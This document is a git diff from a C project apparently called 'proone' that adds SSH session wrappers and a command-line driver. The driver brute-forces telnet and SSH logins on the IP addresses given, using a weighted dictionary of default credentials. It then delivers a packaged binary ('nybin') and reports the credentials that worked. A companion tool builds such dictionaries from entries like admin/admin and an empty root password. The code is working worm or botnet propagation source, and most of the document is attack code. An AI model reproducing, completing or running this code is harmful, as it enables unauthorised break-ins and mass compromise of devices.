libssh2_session_block_directions(s); + pfd.events = 0; + if (f_ret & LIBSSH2_SESSION_BLOCK_INBOUND) { + pfd.events |= POLLIN; + } + if (f_ret & LIBSSH2_SESSION_BLOCK_OUTBOUND) { + pfd.events |= POLLOUT; + } + + f_ret = prne_pth_poll(&pfd, 1, -1, ev); + if (f_ret < 0) { + break; + } + else if (f_ret == 0) { + f_ret = -1; + errno = ETIMEDOUT; + break; + } + } + + return f_ret; +} + +static int lssh2_handshake_f (void *p) { + lssh2_cbctx_s_t *ctx = (lssh2_cbctx_s_t*)p; + return libssh2_session_handshake(ctx->s, ctx->fd); +} + +int prne_lssh2_handshake (LIBSSH2_SESSION *s, const int fd, pth_event_t ev) { + lssh2_cbctx_s_t ctx; + ctx.fd = fd; + ctx.s = s; + return lssh2_handle(s, fd, ev, &ctx, lssh2_handshake_f); +} + +static int lssh2_ua_pwd_f (void *p) { + lssh2_cbctx_ua_cred_t *ctx = (lssh2_cbctx_ua_cred_t*)p; + return libssh2_userauth_password_ex( + ctx->s, + ctx->id, + ctx->id_len, + ctx->pw, + ctx->pw_len, + NULL); +} + +int prne_lssh2_ua_pwd ( + LIBSSH2_SESSION *s, + const int fd, + const char *id, + const char *pw, + pth_event_t ev) +{ + lssh2_cbctx_ua_cred_t ctx; + const size_t id_len = prne_nstrlen(id); + const size_t pw_len = prne_nstrlen(pw); + + if (id_len > UINT_MAX || pw_len > UINT_MAX) { + errno = E2BIG; + return -1; + } + + ctx.s = s; + ctx.id = id; + ctx.id_len = (unsigned int)id_len; + ctx.pw = pw; + ctx.pw_len = (unsigned int)pw_len; + + return lssh2_handle(s, fd, ev, &ctx, lssh2_ua_pwd_f); +} + +static int lssh2_open_channel_f (void *p) { + lssh2_cbctx_open_channel_t *ctx = (lssh2_cbctx_open_channel_t*)p; + int err; + + ctx->ret = libssh2_channel_open_session(ctx->s); + if (ctx->ret == NULL) { + err = libssh2_session_last_errno(ctx->s); + prne_dbgast(err != 0); + } + else { + err = 0; + } + + return err; +} + +LIBSSH2_CHANNEL *prne_lssh2_open_ch ( + LIBSSH2_SESSION *s, + const int fd, + pth_event_t ev, + int *err) +{ + lssh2_cbctx_open_channel_t ctx; + int f_ret; + ctx.s = s; + ctx.ret = NULL; + + f_ret = lssh2_handle(s, fd, ev, &ctx, lssh2_open_channel_f); + prne_chk_assign(err, f_ret); + return ctx.ret; +} + +static int lssh2_ch_req_pty_f (void *p) { + lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p; + return libssh2_channel_request_pty(ctx->c, (const char*)ctx->buf); +} + +int prne_lssh2_ch_req_pty ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + const char *term, + pth_event_t ev) +{ + lssh2_cbctx_ch_f_t ctx; + ctx.c = c; + ctx.buf = (void*)term; + return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_req_pty_f); +} + +static int lssh2_ch_sh_f (void *p) { + lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p; + return libssh2_channel_shell(ctx->c); +} + +int prne_lssh2_ch_sh ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + pth_event_t ev) +{ + lssh2_cbctx_ch_f_t ctx; + ctx.c = c; + return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_sh_f); +} + +static int lssh2_ch_io_f (void *p) { + lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p; + ssize_t ret; + + switch (ctx->s_id) { + case 0: + ret = libssh2_channel_write(ctx->c, ctx->buf, ctx->len); + break; + case 1: + ret = libssh2_channel_read(ctx->c, ctx->buf, ctx->len); + break; + case 2: + ret = libssh2_channel_read_stderr(ctx->c, ctx->buf, ctx->len); + break; + default: ret = -1; + } + + return (int)ret; +} + +int prne_lssh2_ch_read ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + const bool s_err, + void *buf, + const size_t len, + pth_event_t ev) +{ + lssh2_cbctx_ch_f_t ctx; + if (len > INT_MAX) { + errno = E2BIG; + return -1; + } + ctx.c = c; + ctx.buf = buf; + ctx.len = len; + ctx.s_id = s_err ? 2 : 1; + + return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_io_f); +} + +int prne_lssh2_ch_write ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + const void *buf, + const size_t len, + pth_event_t ev) +{ + lssh2_cbctx_ch_f_t ctx; + if (len > INT_MAX) { + errno = E2BIG; + return -1; + } + ctx.c = c; + ctx.buf = (void*)buf; + ctx.len = len; + ctx.s_id = 0; + + return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_io_f); +} + +static int lssh2_disconn_f (void *p) { + lssh2_cbctx_discon_t *ctx = (lssh2_cbctx_discon_t*)p; + return libssh2_session_disconnect_ex( + ctx->s, + ctx->reason, + ctx->desc, + ctx->lang); +} + +int prne_lssh2_discon ( + LIBSSH2_SESSION *s, + const int fd, + const int reason, + const char *desc, + const char *lang, + pth_event_t ev) +{ + lssh2_cbctx_discon_t ctx; + ctx.s = s; + ctx.reason = reason; + ctx.desc = desc; + ctx.lang = lang; + + return lssh2_handle(s, fd, ev, &ctx, lssh2_disconn_f); +} + +static int lssh2_ua_list_f (void *p) { + lssh2_cbctx_ua_cred_t *ctx = (lssh2_cbctx_ua_cred_t*)p; + int err; + + ctx->ret = libssh2_userauth_list(ctx->s, ctx->id, ctx->id_len); + if (ctx->ret == NULL) { + err = libssh2_session_last_errno(ctx->s); + } + else { + err = 0; + } + + return err; +} + +const char *prne_lssh2_ua_list ( + LIBSSH2_SESSION *s, + const int fd, + const char *username, + pth_event_t ev, + int *out_err) +{ + lssh2_cbctx_ua_cred_t ctx; + int err; + ctx.s = s; + ctx.id = username; + ctx.id_len = strlen(username); + + err = lssh2_handle(s, fd, ev, &ctx, lssh2_ua_list_f); + prne_chk_assign(out_err, err); + return (const char*)ctx.ret; +} + +static int lssh2_ua_authd (void *p) { + lssh2_cbctx_s_t *ctx = (lssh2_cbctx_s_t*)p; + return libssh2_userauth_authenticated(ctx->s); +} + +int prne_lssh2_ua_authd ( + LIBSSH2_SESSION *s, + const int fd, + pth_event_t ev) +{ + lssh2_cbctx_s_t ctx; + ctx.s = s; + ctx.fd = fd; + return lssh2_handle(s, fd, ev, &ctx, lssh2_ua_authd); +} + +void prne_lssh2_cripple_session (LIBSSH2_SESSION *s) { + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wpedantic" + libssh2_session_callback_set( + s, + LIBSSH2_CALLBACK_SEND, + (void*)lssh2_crippled_send); + libssh2_session_callback_set( + s, + LIBSSH2_CALLBACK_RECV, + (void*)lssh2_crippled_recv); + #pragma GCC diagnostic pop +} + +void prne_lssh2_free_session (LIBSSH2_SESSION *s) { + if (s == NULL) { + return; + } + prne_lssh2_cripple_session(s); + libssh2_session_free(s); +} diff --git a/src/libssh2.h b/src/libssh2.h new file mode 100644 index 0000000..df7d315 --- /dev/null +++ b/src/libssh2.h @@ -0,0 +1,73 @@ +#pragma once +#include <stdint.h> +#include <stdbool.h> +#include <stddef.h> + +#include <libssh2.h> +#include <pthsem.h> + + +int prne_lssh2_handshake (LIBSSH2_SESSION *s, const int fd, pth_event_t ev); +int prne_lssh2_ua_pwd ( + LIBSSH2_SESSION *s, + const int fd, + const char *id, + const char *pw, + pth_event_t ev); +LIBSSH2_CHANNEL *prne_lssh2_open_ch ( + LIBSSH2_SESSION *s, + const int fd, + pth_event_t ev, + int *err); +int prne_lssh2_ch_req_pty ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + const char *term, + pth_event_t ev); +int prne_lssh2_ch_sh ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + pth_event_t ev); +int prne_lssh2_ch_read ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + const bool s_err, + void *buf, + const size_t len, + pth_event_t ev); +int prne_lssh2_ch_write ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + const void *buf, + const size_t len, + pth_event_t ev); +int prne_lssh2_discon ( + LIBSSH2_SESSION *s, + const int fd, + const int reason, + const char *desc, + const char *lang, + pth_event_t ev); +const char *prne_lssh2_ua_list ( + LIBSSH2_SESSION *s, + const int fd, + const char *username, + pth_event_t ev, + int *err); +int prne_lssh2_ua_authd ( + LIBSSH2_SESSION *s, + const int fd, + pth_event_t ev); + +/* Workaround for the library's shitty design +* +* Cripples LIBSSH2_SESSION's ability to send() and recv() so that +* the library can't use the fd. This is used to guarantee that *_free() +* functions never return EAGAIN. +*/ +void prne_lssh2_cripple_session (LIBSSH2_SESSION *s); +void prne_lssh2_free_session (LIBSSH2_SESSION *s); @@ -503,3 +503,25 @@ ssize_t prne_bin_rcb_read ( { return ctx->read_f(ctx, buf, len, prc, err); } + +bool prne_index_nybin ( + const uint8_t *m_nybin, + const size_t nybin_len, + const uint8_t **m_dv, + size_t *dv_len, + const uint8_t **m_ba, + size_t *ba_len) +{ + if (nybin_len < 8) { + return false; + } + *dv_len = prne_recmb_msb16(m_nybin[0], m_nybin[1]); + if (8 + *dv_len > nybin_len) { + return false; + } + *m_dv = m_nybin + 8; + *m_ba = m_nybin + 8 + prne_salign_next(*dv_len, PRNE_BIN_ALIGNMENT); + *ba_len = nybin_len - (*m_ba - m_nybin); + + return true; +} @@ -70,3 +70,11 @@ ssize_t prne_bin_rcb_read ( size_t len, prne_pack_rc_t *prc, int *err); + +bool prne_index_nybin ( + const uint8_t *m_nybin, + const size_t nybin_len, + const uint8_t **m_dv, + size_t *dv_len, + const uint8_t **m_ba, + size_t *ba_len); diff --git a/src/proone-bne.c b/src/proone-bne.c new file mode 100644 index 0000000..fd897a7 --- /dev/null +++ b/src/proone-bne.c @@ -0,0 +1,313 @@ +#include <stdio.h> +#include <string.h> +#include <errno.h> + +#include <unistd.h> +#include <fcntl.h> +#include <arpa/inet.h> + +#include <mbedtls/entropy.h> + +#include "util_rt.h" +#include "bne.h" +#include "llist.h" + + +static void print_help (FILE *o, const char *prog) { + fprintf( + o, + "Usage: %s <cred dict> <nybin> <target 0> ... [target N]\n" + "Options:\n" + "\t<cred dict>: path to credential dictionary\n" + "\t<nybin>: path to nybin\n" + "\ttarget N: IPv4 or IPv6 address\n", + prog); +} + +static bool load_file (const int fd, uint8_t **m, size_t *len) { + bool ret = true; + uint8_t *buf; + size_t buf_size; + ssize_t f_ret; + void *ny; + + buf_size = prne_getpagesize(); + buf = prne_malloc(1, buf_size); + if (buf == 0) { + perror("prne_malloc()"); + return false; + } + + while (true) { + f_ret = read(fd, buf, buf_size); + if (f_ret == 0) { + break; + } + if (f_ret < 0) { + perror("read()"); + ret = false; + break; + } + + ny = prne_realloc(*m, 1, *len + f_ret); + if (ny == NULL) { + perror("prne_realloc()"); + ret = false; + break; + } + *m = (uint8_t*)ny; + memcpy(*m + *len, buf, f_ret); + *len += f_ret; + } + + prne_free(buf); + return ret; +} + +static void report_result (const prne_bne_result_t *r) { + char ip_str[INET6_ADDRSTRLEN]; + const char *vec_str = prne_bne_vector_tostr(r->vec); + + prne_memzero(ip_str, INET6_ADDRSTRLEN); + if (vec_str == NULL) { + vec_str = "(unsuccessful)"; + } + + switch (r->subject->ver) { + case PRNE_IPV_4: + inet_ntop(AF_INET, r->subject->addr, ip_str, INET6_ADDRSTRLEN); + break; + case PRNE_IPV_6: + inet_ntop(AF_INET6, r->subject->addr, ip_str, INET6_ADDRSTRLEN); + break; + default: abort(); + } + + printf( + "- result:\n" + "\tsubject: %s\n" + "\terr: %d\n" + "\tvector: %s\n", + ip_str, + r->err, + vec_str); + if (r->vec >= 0) { + if (r->cred.id != NULL) { + printf( + "\tcred:\n" + "\t\tid: %s\n" + "\t\tpw: %s\n", + r->cred.id, + r->cred.pw); + } + if (r->prc >= 0) { + printf("\tprc: %d\n", r->prc); + } + } +} + +int main (const int argc, const char **args) { + static prne_bne_vector_t ARR_VEC[] = { + PRNE_BNE_V_BRUTE_TELNET, + PRNE_BNE_V_BRUTE_SSH + }; + int ret = 0; + int fd = -1; + uint8_t *m_cred_dict = NULL, *m_nybin = NULL; + size_t cred_dict_len = 0, nybin_len = 0; + const uint8_t *m_dv, *m_ba; + size_t dv_len, ba_len; + prne_ip_addr_t *arr = NULL; + size_t cnt = 0; + prne_cred_dict_t dict; + prne_bin_archive_t ba; + prne_bne_param_t param; + prne_pack_rc_t prc; + mbedtls_entropy_context entropy; + mbedtls_ctr_drbg_context ctr_drbg; + pth_event_t ev_root = NULL; + prne_llist_t wkr_list; + + prne_init_cred_dict(&dict); + prne_init_bne_param(¶m); + prne_init_bin_archive(&ba); + mbedtls_entropy_init(&entropy); + mbedtls_ctr_drbg_init(&ctr_drbg); + prne_init_llist(&wkr_list); + + prne_assert(pth_init()); + + prne_assert(mbedtls_ctr_drbg_seed( + &ctr_drbg, + mbedtls_entropy_func, + &entropy, + NULL, + 0) == 0); + +// TRY + if (argc < 4) { + print_help(stderr, args[0]); + ret = 2; + goto END; + } + + cnt = (size_t)argc - 3; + arr = (prne_ip_addr_t*)prne_calloc(sizeof(prne_ip_addr_t), cnt); + if (arr == NULL) { + ret = 2; + perror("prne_malloc()"); + goto END; + } + for (size_t i = 0; i < cnt; i += 1) { + const char *str = args[i + 3]; + prne_ip_addr_t *e = arr + i; + + if (inet_pton(AF_INET6, str, e->addr)) { + e->ver = PRNE_IPV_6; + } + else if (inet_pton(AF_INET, str, e->addr)) { + e->ver = PRNE_IPV_4; + } + else { + ret = 2; + fprintf(stderr, "%s: invalid IP address\n", str); + goto END; + } + } + + fd = open(args[1], O_RDONLY); + if (fd < 0) { + perror(args[1]); + ret = 1; + goto END; + } + if (!load_file(fd, &m_cred_dict, &cred_dict_len)) { + ret = 1; + goto END; + } + prne_close(fd); + + fd = open(args[2], O_RDONLY); + if (fd < 0) { + perror(args[2]); + ret = 1; + goto END; + } + if (!load_file(fd, &m_nybin, &nybin_len)) { + ret = 1; + goto END; + } + prne_close(fd); + + if (!prne_dser_cred_dict(&dict, m_cred_dict, cred_dict_len)) { + perror("prne_dser_cred_dict()"); + ret = 1; + goto END; + } + + if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) { + fprintf(stderr, "prne_index_nybin() failed.\n"); + ret = 1; + goto END; + } + + prc = prne_index_bin_archive(m_ba, ba_len, &ba); + if (prc != PRNE_PACK_RC_OK) { + fprintf( + stderr, + "prne_index_bin_archive(): %d\n", + prc); + ret = 1; + goto END; + } + + param.cred_dict = &dict; + param.vector.arr = ARR_VEC; + param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); + param.rcb.m_dv = m_dv; + param.rcb.dv_len = dv_len; + param.rcb.ba = &ba; + + for (size_t i = 0; i < cnt; i += 1) { + prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1); + + prne_init_worker(w); + prne_assert( + w != NULL && + prne_llist_append(&wkr_list, (prne_llist_element_t)w) != NULL); + + param.subject = arr[i]; + if (!prne_alloc_bne(w, &ctr_drbg, ¶m)) { + perror("prne_alloc_bne()"); + abort(); + } + + w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx); + prne_assert(w->pth != NULL); + } + + while (wkr_list.size > 0) { + // rebuild event + pth_event_free(ev_root, TRUE); + ev_root = NULL; + for (prne_llist_entry_t *e = wkr_list.head; e != NULL; e = e->next) { + prne_worker_t *w = (prne_worker_t*)e->element; + pth_event_t ev = pth_event( + PTH_EVENT_TID | PTH_UNTIL_TID_DEAD, + w->pth); + + prne_assert(ev != NULL); + if (ev_root == NULL) { + ev_root = ev; + } + else { + pth_event_concat(ev_root, ev, NULL); + } + } + + pth_wait(ev_root); + + // reap + for (prne_llist_entry_t *e = wkr_list.head; e != NULL;) { + prne_worker_t *w = (prne_worker_t*)e->element; + pth_attr_t attr = pth_attr_of(w->pth); + pth_state_t state; + + prne_assert( + attr != NULL && + pth_attr_get(attr, PTH_ATTR_STATE, &state)); + pth_attr_destroy(attr); + if (state == PTH_STATE_DEAD) { + void *result; + + prne_assert(pth_join(w->pth, &result)); + w->pth = NULL; + report_result((const prne_bne_result_t*)result); + + w->free_ctx(w->ctx); + prne_free(w); + e = prne_llist_erase(&wkr_list, e); + } + else { + e = e->next; + } + } + } + +END: // CATCH + prne_free_llist(&wkr_list); + pth_event_free(ev_root, TRUE); + mbedtls_ctr_drbg_free(&ctr_drbg); + mbedtls_entropy_free(&entropy); + prne_free_cred_dict(&dict); + prne_free_bne_param(¶m); + prne_free_bin_archive(&ba); + prne_close(fd); + prne_free(arr); + prne_free(m_cred_dict); + prne_free(m_nybin); + + pth_kill(); + + return ret; +} diff --git a/src/proone-mkcdict.c b/src/proone-mkcdict.c new file mode 100644 index 0000000..fd9abd0 --- /dev/null +++ b/src/proone-mkcdict.c @@ -0,0 +1,235 @@ +#include <stdio.h> +#include <inttypes.h> +#include <string.h> + +#include <regex.h> +#include <unistd.h> +#include <fcntl.h> + +#include "cred_dict.h" +#include "util_rt.h" +#include "llist.h" + + +static regex_t re_entry, re_comment, re_empty; + +static void print_help (FILE *o, const char *prog) { + fprintf( + o, + "Usage: %s <cred file> <out file>\n" + "Options:\n" + "\t<cred file>: path to file listing credentials. \"-\" to read stdin\n" + "\t<out file>: path to output file. \"-\" for stdout\n" + "Cred File Format: <WEIGHT> <ID> [PW]\n" + "\t<WEIGHT>: uint8_t weight value\n" + "\t<ID>: c_str username\n" + "\t[PW]: c_Str password (optional)\n" + "\tNote:\n" + "\t\t- <ID> and <PW> are case-sensitive\n" + "\t\t- Lines start with \"#\" are ignored\n" + "Cred File Example:\n" + "\t# TP-Link\n" + "\t16\tadmin\tadmin\n" + "\t# Linux machine with empty root password\n" + "\t128\troot\n" + "\t# Another typical default cred\n" + "\t32\troot\t1234\n", + prog); +} + +static int do_parse ( + FILE *file, + prne_cred_dict_raw_entry_t **arr, + size_t *cnt) +{ + static const size_t RM_SIZE = 8; + regmatch_t rm[RM_SIZE]; + char line[2][1024]; + size_t nr_line = 0; + char *ent_weight, *ent_id, *ent_pw; + size_t sl_id, sl_pw; + prne_cred_dict_raw_entry_t ent; + + while (true) { + if (fgets(line[0], sizeof(line[0]), file) == NULL) { + break; + } + nr_line += 1; + + if (regexec(&re_empty, line[0], RM_SIZE, rm, 0) == 0 || + regexec(&re_comment, line[0], RM_SIZE, rm, 0) == 0) + { + continue; + } + if (regexec(&re_entry, line[0], RM_SIZE, rm, 0) != 0) { + goto INV_LINE; + } + + strcpy(line[1], line[0]); + prne_memzero(&ent, sizeof(prne_cred_dict_raw_entry_t)); + + line[1][rm[2].rm_eo] = 0; // terminate WEIGHT + line[1][rm[3].rm_eo] = 0; // terminate ID + ent_weight = line[1] + rm[2].rm_so; + ent_id = line[1] + rm[3].rm_so; + sl_id = rm[3].rm_eo - rm[3].rm_so; + if (rm[5].rm_so >= 0) { // PW + line[1][rm[5].rm_eo] = 0; + ent_pw = line[1] + rm[5].rm_so; + sl_pw = rm[5].rm_eo - rm[5].rm_so; + } + else { + ent_pw = ""; + sl_pw = 0; + } + + if (sscanf(ent_weight, "%"SCNu8, &ent.weight) != 1) { + goto INV_LINE; + } + + ent.id = prne_alloc_str(sl_id); + ent.pw = prne_alloc_str(sl_pw); + prne_assert(ent.id != NULL && ent.pw != NULL); + memcpy(ent.id, ent_id, sl_id + 1); + memcpy(ent.pw, ent_pw, sl_pw + 1); + + *arr = prne_realloc(*arr, sizeof(prne_cred_dict_raw_entry_t), *cnt + 1); + prne_assert(*arr != NULL); + (*arr)[*cnt] = ent; + *cnt += 1; + } + + return 0; +INV_LINE: + fprintf( + stderr, + "*** Invalid entry at line %zu: %s\n", + nr_line, + line[0]); + return 2; +} + +int main (const int argc, const char **args) { + int ret = 0; + prne_cred_dict_t dict; + prne_cred_dict_raw_entry_t *arr = NULL; + uint8_t *m = NULL; + size_t m_len = 0; + size_t cnt = 0; + FILE *in_f = NULL; + bool own_in_f = false; + int out_fd = -1; + + prne_assert(regcomp( + &re_entry, + // ^(\s+)?([0-9]{1,3})\s+(\S+)(\s+(\S+))?(\s+)?(#.*)?$ + // number of captures: 7 + // significant groups: <2>, <3>, [5] + "^(\\s+)?([0-9]{1,3})\\s+(\\S+)(\\s+(\\S+))?(\\s+)?(#.*)?$", + REG_EXTENDED | REG_ICASE) == 0); + prne_assert(regcomp( + &re_comment, + // ^(\s+)?#.*$ + "^(\\s+)?#.*$", + REG_EXTENDED | REG_ICASE) == 0); + prne_assert(regcomp( + &re_empty, + // ^(\s+)?$ + "^(\\s+)?$", + REG_EXTENDED | REG_ICASE) == 0); + + prne_init_cred_dict(&dict); + +// TRY + // parse args + if (argc < 3) { + print_help(stderr, args[0]); + ret = 2; + goto END; + } + + if (prne_nstreq(args[1], "-")) { + in_f = stdin; + } + else { + own_in_f = true; + in_f = fopen(args[1], "r"); + + if (in_f == NULL) { + perror(args[1]); + ret = 1; + goto END; + } + } + + if (prne_nstreq(args[2], "-")) { + out_fd = STDOUT_FILENO; + } + else { + out_fd = open(args[2], O_WRONLY | O_CREAT | O_TRUNC, 0644); + + if (out_fd < 0) { + perror(args[2]); + ret = 1; + goto END; + } + } + if (isatty(out_fd)) { + fprintf(stderr, "Refusing to write on terminal.\n"); + ret = 1; + goto END; + } + + ret = do_parse(in_f, &arr, &cnt); + if (ret != 0) { + goto END; + } + if (!prne_build_cred_dict(arr, cnt, &m, &m_len)) { + ret = 1; + perror("prne_build_cred_dict()"); + goto END; + } + // test + if (!prne_dser_cred_dict(&dict, m, m_len)) { + ret = 1; + perror("prne_dser_cred_dict()"); + goto END; + } + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + for (size_t i = 0; i < dict.cnt; i += 1) { + fprintf( + stderr, + "%"PRIu8"\t%s\t%s\n", + dict.arr[i].weight, + dict.m + dict.arr[i].id, + dict.m + dict.arr[i].pw); + } + } + + if (write(out_fd, m, m_len) != (ssize_t)m_len) { + ret = 1; + perror("write()"); + goto END; + } + +END: + // clean up + prne_close(out_fd); + if (own_in_f && in_f != NULL) { + fclose(in_f); + } + + regfree(&re_entry); + regfree(&re_comment); + regfree(&re_empty); + + prne_free_cred_dict(&dict); + for (size_t i = 0; i < cnt; i += 1) { + prne_free(arr[i].id); + prne_free(arr[i].pw); + } + prne_free(arr); + prne_free(m); + + return ret; +} diff --git a/src/proone.c b/src/proone.c index 7f0ebf0..9302157 100644 --- a/src/proone.c +++ b/src/proone.c @@ -852,16 +852,9 @@ static char *do_recombination (const uint8_t *m_nybin, const size_t nybin_len) { prne_init_bin_archive(&ba); prne_init_bin_rcb_ctx(&rcb); - if (nybin_len < 8) { + if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) { goto END; } - dv_len = prne_recmb_msb16(m_nybin[0], m_nybin[1]); - if (8 + dv_len > nybin_len) { - goto END; - } - m_dv = m_nybin + 8; - m_ba = m_nybin + 8 + prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT); - ba_len = nybin_len - (m_ba - m_nybin); prc = prne_index_bin_archive(m_ba, ba_len, &ba); if (prc != PRNE_PACK_RC_OK) { |